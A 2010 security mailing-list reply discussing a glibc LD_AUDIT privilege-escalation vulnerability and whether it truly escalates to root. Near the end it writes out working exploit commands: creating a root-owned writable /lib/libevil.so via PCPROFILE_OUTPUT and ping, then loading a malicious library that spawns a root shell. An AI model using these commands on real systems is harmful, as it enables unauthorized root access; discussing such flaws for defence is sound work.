2010/11/10 Mike Patterson <[email protected]> > On 10-11-09 11:19 AM, Xavier Garcia wrote: > > One should be safe because users need admin rights to write > > there, but playing with setuid binaries is always dangerous. > > Well, sure. But I think Nicholas' point was that your escalation ... > isn't really such, given that on any unixy system, you need to go to > great lengths to allow normal users to write to /lib. If I can write to > /lib in order to implement your answer to "how do I escalate privileges > with Tavis' exploit," I think that system already has a serious issue, > one that goes beyond "it's got a vulnerable version of glibc installed." >
I think there was a misunderstanding. I said escalation because and attacker could gain access via a web application, with Apache rights, and end up with root privileges. An unprivileged user cannot write in /lib because only root can. I said it is safe because it should not happen in any Unix system. All that is being used is a vulnerability that allows an unprivileged user to execute code with root permissions, even though it is really restricted to the libraries initially installed in the system. The only problem in the system was a missing patch. The user can write to /lib because it is using a vulnerability to write there with root privileges. We are talking about a computer with a standard installation. > > > This could be enforced by implementing a 'secure level' in the > > kernel, but then the maintenance of the system could be a > > nightmare. Imagine having to reboot a critical server just > > because the 'secure level' must be desabled in order to > > install patches :) > > > I don't just imagine it, I've done it. If that's what it takes, then > that's what it takes. Your definition of critical may vary from mine > though, and mine was the FreeBSD implementation, so I could install > _some_ patches without rebooting. > I just wanted to be ironic there, sorry. Of course it can be done, but I was talking about the average lazy IT department or IT company. People just drop a box with the standard configuration and then forget. They just want to do the minimum work. > > Your point about playing with setuid binaries is dangerous is well > taken, but I'm not sure that I see how it applies given your proposed > solution. Putting yourself into a situation where normal users can > write to /lib is significantly more dangerous. > Only root can write there... I use the vulnerability to create /lib/libevil.so with 666 as permissions and root as owner. The admin that permits a world writeable /lib is more than incompetent. umask 0 # creates a file as root with 666 permissions (umask 0) LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libevil.so" ping # load the contents of the library. /lib is just a quick and dirty example cat ./libevil.so > /lib/libevil.so # the constructor in the library is executed and drops a shell LD_AUDIT="libevil.so" ping Regards, Xavier Garcia > > Mike > _______________________________________________ > Pauldotcom mailing list > [email protected] > http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom > Main Web Site: http://pauldotcom.com >
_______________________________________________ Pauldotcom mailing list [email protected] http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom Main Web Site: http://pauldotcom.com
